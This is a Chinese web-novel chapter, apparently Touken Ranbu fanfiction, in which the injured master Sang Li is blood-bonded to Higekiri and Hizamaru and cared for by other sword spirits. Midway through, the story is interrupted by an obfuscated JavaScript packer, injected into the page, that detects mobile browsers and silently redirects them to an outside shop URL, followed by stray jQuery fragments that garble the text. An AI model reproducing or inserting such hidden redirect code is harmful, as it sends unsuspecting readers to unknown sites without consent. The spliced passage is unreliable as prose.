胳膊被拉高,过于大的动作牵扯到伤口,痛意伴随麻意拉扯思绪,桑里倒吸一口冷气。

    “等,等一下。”

    好痛。

    身子轻颤,生理泪水在眼眶中蓄积,模糊了视线。

    俩兄弟凑上来,一人一面贴住桑里,就像两栋坚实的墙面,让桑里完全动弹不得。

    模糊的视野里,唯有奶黄色头发,茶金色的眼眸两抹亮色格外显眼。

    轻轻眨眼,眼泪顺着脸颊落下,又被人轻轻拭去。

    “好可怜,哭得好惨。”

    亲昵的,黏腻的话语回荡在耳边,甜的好像蜂蜜。

    桑里吸吸鼻子,目光朦胧顺着面前人的移动而动。

    胳膊一直抬着很难受,他缩缩手,试图缩回手臂,但效果甚微,禁锢着他手臂的手就好似铁环。

    桑里泄了气。

    “你们到底要干嘛?”

    在桑里看不到的背后,薄绿发色的男子瞳孔紧缩,侵略性意味十足,看向他的目光就好像在看柔软无力的猎物。

    主人现在在他怀里。

    是任人摆布,脆弱的主人,好想拥有,想占有。

    问话不出意料没得到回答,桑里正想再说些什么,伤口忽然一痛,触感湿润。

    他倒吸一口气,下意识挣扎。

    “别动呐,人家在给主人消毒。”

    自从醒来,桑里还没这么疼过。刚刚才缓解的痛意再次席卷而来,他浑身细颤,只顷刻间,汗水遍布全身。

    不知过去多久,痛意渐退,面前的空气逐渐充盈,疲惫感侵染桑里全身。他垂着脑袋,像个布娃娃任由两人摆布。

    模糊间,他感觉自己在移动,隐约间还听到了许多人说话的声音,叽叽喳喳围绕在身边,他们好像很担心他。

    桑里很想说自己没事,只是有点困,但身体就像生锈的机器,完全不听使唤,一点都动弹不了。

    说话声渐渐淡去,最后消失不见,桑里的意识遁入一片黑暗。

    前方不远处有两团光亮,桑里向前走去,伸手去触亮光...

    为桑里包好伤口,将他抱回房间,药研顺着走廊前行,来到大广间。

    房间内,气氛焦灼。双方对峙,互不退让。

    药研进入房间,关上门,探究的目光落在两人身上。

    “髭切殿,膝丸殿,发生什么事情了?主人怎么会伤成这样?”

    伤口看起来很像刀划的很长一道,一端深一端浅。

    而且...

    药研仔细打量两人,仔细辨别空气中的味道。

    不会有错的,这俩人不一样了,或者说,是和他们不一样了。

    膝丸跪坐在地上,放在膝盖上的双手握拳,转头去看身旁人。

    髭切坐姿随意,脸上挂着浅笑,神情柔和。

    “可能是我们突然出现吓到主人了吧,主人不小心撞到刀架,刀掉下来砸到他了。”

    谁也没想到玩个捉迷藏会出现这样的情况。

    乱藤四郎扬起下巴,冷哼一声。

    “什么嘛,太刀的反应居然这么慢,这种情况完全可以避免的嘛,还害得主人受这么重的伤,真是没用。”

    他才不是嫉妒有刀能和主人深度链接,绝对不是!

    髭切笑意不减。

    “有些时候来得早比如来得巧,你说是吧,巧合丸。”

    乱藤四郎哈了一声,冷脸站起身。

    “你!说!什!么!”

    在场粟田口家的不在少数,乱藤四郎一站起来,不少短刀也跟着站起来,冷脸看着眼前人。

    “阿,阿尼甲!是膝丸啦!”

    膝丸下意识反驳了一句,抬头对上几个刀剑的冷脸,他神色稍正。

    “我们也是主人的刀剑,再怎么也不可能对主人动手,对于没有看管好主人导致受伤,真的非常抱歉。”

    听完膝丸的话,几人神情稍缓,在药研的示意下,短刀们重新坐回原位。

    血契是一种更为亲昵的契约方式,被契约者可以通过血液看到对方的生平经历。

    药研问。

    “髭切殿,膝丸殿可搞清楚了主人的来历?”

    -

    血契相比灵力契约更加牢靠,同时也更加消耗灵力。

    这一觉,桑里睡了许久。

    梦里,他并不孤单,两个漂亮的光团一直跟着他,陪在他身边。

    一觉睡醒,桑里精神了许多。

    胳膊痒痒的,他伸手要挠,掌下的触感却很奇怪,还有些痛。

    扭头看去,看到的是近乎被包成粽子的胳膊。

    伤口很长,大半个手臂都被包起来了,无法弯曲,只能直着。

    桑里一只手撑地,坐起身来,仔细打量受伤的胳膊。

    门被从外推开。

    桑里抬头看去。

    来人是小狐丸。

    总是面带笑容的他,进来的时候,脸上没有一丝笑容。

    小狐丸几步来到桑里面前,伸手轻触他的胳膊。

    “主人,感觉还好吗?”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775546|209314||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    “没关系。”没错过小狐丸手上的梳子,他笑笑。“不过一只手不方便,等我好了再给小狐丸梳头发吧。”

    小狐丸绕到桑里身侧,抬起拿着梳子的手臂。

    “小狐梳头发技术可是一流,十分乐意为主人效劳。”

    桑里一愣,随即笑嘻嘻朝后仰去,靠到小狐丸怀中。

    “那就拜托小狐丸啦。”

    诚如小狐丸所说,他梳头很舒服,明明是刚睡醒,梳着梳着,桑里再度昏昏欲睡起来。

    迷蒙间。

    “好了。”

    桑里迷糊睁开眼,看眼小狐丸后,一蹭他的胸膛,再度闭上眼,睡着了。

    主人的呼吸浅浅,微风带动发梢,热气扑洒在下巴。

    小狐丸拉过薄被盖到他身上,将柔顺的金发蹭乱,神情餍足。

    “主人,安心睡吧。”

    就像这样一直依赖他吧。

    -

    担心桑里玩闹没有分寸,伤口二次扩大。

    药研限制了他的活动范围,去天守阁的时间外,桑里整天缩在三日月莺丸身边。

    这天吃完中饭,桑里照例走过拐角,抬头发现总是只有两个身影的走廊边坐着三个身影。

    火红的头发,挺拔的身形。

    桑里下意识放慢脚步。

    刀剑都是何等的敏锐,几乎在桑里走过拐角的下一秒,三人就停下了话语,转头看过来。

    “主人,午安。”

    “午安,爷爷,太爷爷,还有...大包平。”

    大包平颔首,似乎对桑里没见过他,但知道他名字并不吃惊。

    “主人,午安。”

    莺丸招呼桑里。

    “主人,今天的糕点有你爱吃的哟。”

    桑里来到三人中间坐下,就着莺丸的手吃糕点。

    香醇的味道,入口即化的口感,一点坚果增香。

    “唔,好吃。”

    桑里嘴巴鼓鼓,眼睛发亮。

    莺丸和三日月笑着看他,一边吃糕点一边聊天。

    坐着坐着,桑里有些累了。

    左耳边是莺丸的话语,桑里朝左边靠过去,蹭了蹭后长舒一口气,闭上眼睛。

    耳边的说话声小了,朦朦胧胧,伴随着微风,桑里呼吸逐渐平稳。

    被他当作枕头的大包平双耳通红,眼神飘忽,身子僵硬。

    莺丸和三日月看着大包平,笑着转过头,当作没看到他的求救眼神。

    真是羡慕啊,主人靠着睡觉什么的。